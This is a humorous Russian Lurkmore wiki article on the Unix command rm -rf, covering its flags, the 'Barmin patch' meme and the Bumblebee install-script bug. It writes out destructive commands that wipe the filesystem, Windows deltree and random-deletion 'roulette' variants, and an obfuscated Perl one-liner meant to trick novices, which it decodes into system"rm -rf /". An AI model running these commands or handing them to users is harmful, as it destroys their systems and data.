Личные инструменты

rm -rf

Материал из Lurkmore

(Перенаправлено с Патч Бармина)
Перейти к: навигация, поиск
sudo rm -rf *
Линуксовая команда (если быть более точным, Unix'овая, однако в интернетах больше ассоциируется с Линуксом).

Обычно употребляется в виде «rm -rf /*» (почему — см. ниже)

Содержание

[править] Значение

  • Сама команда rm — удалить (remove) (файл(ы) и/или каталог(и)).
  • Ключ -r — recursively (рекурсивно) — позволяет удалять каталоги со всем содержимым, без этого ключа команда отвечает «каталог не пуст».
  • Ключ -f — force — не спрашивать подтверждения (вообще команды Linux не страдают обычным маздаевским назойливым переспрашиванием «а Вы точно уверены?», это редкое исключение (и то, только потому, что почти всегда по умолчанию в .bashrc прописано alias rm='rm -i'). Некоторые побочные эффекты опции описаны в мане.
  • Традиции Unix позволяют в большинстве программ объединять ключи, то бишь «-rf» эквивалентно «-r -f».
  • Фактически ключ «-rf» по действию аналогичен фразе «Всё и сразу!».

Таким образом, суть команды — удалить каталог рекурсивно, не спрашивая подтверждения. Обычно речь идет о «/» — корневом каталоге. Большинство современных юниксов (свежие версии OpenSolaris и GNU/Linux) не дают ламеру выстрелить себе в ногу: rm -rf / не работают. Хотя всё спокойно удаляется при использовании ключа «--no-preserve-root». Кагбэ так: «rm -rf --no-preserve-root /» Kekeke. Есть и другой вариант: rm -rf /*

FreeBSD понимает эту команду в несколько изменённом виде: rm -fr /, а в последних версиях данная вещь не работает из-за использования флагов файловой системы (их надо сначала снять — chflags -R −0 /). В зависимости от уровня безопасности системы, может потребоваться перезагрузка в однопользовательский режим, что есть геморойно.

[править] Использование

Пример использования

Использование команды двояко:

  • В качестве травли линукс-нубов; [1]
  • В качестве травли ламеров, которые работают в системе, в том числе сидят в интернетах, из-под рута. Обычно в этом случае заветная строчка маскируется (ибо примитивный вариант проходит только с нубами):
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see' 

Тем, кто не понял, расскажет Крыса-кун: Порция echo "test... test... test..." на самом деле на выполнение команды не влияет и добавлена, скорее всего, для усыпления бдительности. Echo просто выводит сообщение в консоли, с заданным в кавычках текстом, в данном случае на следующей строчке выведется текст "test... test... test..."

$ echo "test... test... test..."
test... test... test...
$

А вот что происходит в Perl'овом коде - совсем не очевидно из-за того что это язык вуду преднамеренно запутанного написания. В сущности, всё просто: в данной строчке записано всего три последовательно выполняемых команды. Произведём первую итерацию и запишем поданную команду следующим образом:

$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see

Первая конструкция анализирует переменную $? - код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая "ветка" - s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (напоминаю: первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш '/' или труба '|', для неясности в этой конструкции используется ограничитель ';').

Вторая команда транслирует содержимое "аккумулятора" по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой - один. Если раскрыть эти диапазоны, получим следующее соответствие:

  !"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -

В результате содержимое $_ принимает вид system"rm -rf /".

Третья же команда дважды (как инструктирует флаг ee) "вычисляет" содержимое аккумулятора - вышеуказанную деструктивную команду - и пытается заменить пустую строку в аккумуляторе на результат сего вычисления, но автору результат сей замены уже не интересен. Еще подробнее

Под Виндой-95-98 данный патч был все-таки портирован и принял вид deltree /y e: d: c: Почему такой порядок дисков? Чтобы сначала удалились мегабайты прона (тогда гигами не меряли), а затем система. Также предлагался "универсальный ключ реестра для избавления от шароварности программ", который записывал сию команду в Run, а заодно отключал мышь и клаву. При следующей загрузке если юзер и догадывался о причине странного жужжания винта - спасти мог только быстрый, решительный Reset (но юзер загипнотизированно смотрел на зависший мышекурсор и вспоминал о кнопке, когда было уже поздно).

[править] rm -rf /usr и Bumblebee

Недавний пример случайного использования мема случился летом 2011 года в проекте Bumblebee, представляющем собой костыль для поддержки технологии NVidia Optimus в ноутбуках с двумя видеокартами. Файл install.sh в исходниках данного проекта содержал безобидную строчку

rm -rf /usr /lib/nvidia-current/xorg/xorg

Эта строка, как нетрудно заметить, удаляет папку /usr, в которой в современных линуксах содержатся чуть менее чем все библиотеки, бинарники, и всё остальное. Баг был быстро пойман и исправлен, что не помешало багтрекеру проека на github стать на несколько дней филиалом форчана, с макросами, пони и прочим.

[править] Патч Бармина

В околофидошных кругах rm -rf часто называют патчем Бармина — в честь Владимира Бармина, UNIX-админа. Последний, в релкомовской группе новостей, на вопросы вида «как починить <...> в SCO Unix?» несколько раз ответил «универсальным патчем: rm -rf / от рута».

На основе данного патча была разработана комбинация, получившая название Русской Рулетки.

# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf /* || echo "Жив"

Играть в Русскую Рулетку имеют право только администраторы (root), желательно на сервере, имеющем свыше 3000 посещений в день. Как было выяснено админами Ниеншанца (на практике), данная комбинация успешно работает в Linux и FreeBSD в последних версиях coreutils.

Версия Русской Рулетки под Windows:

set /a R=0+6*%random%/32768 & if %R% == 0 (rd /s /q .\) else (echo ЖИВ)

[править] Пруфлинки

[править] Ссылки

[править] См. также


Источник — «http://lurkmore.ru/Rm_-rf»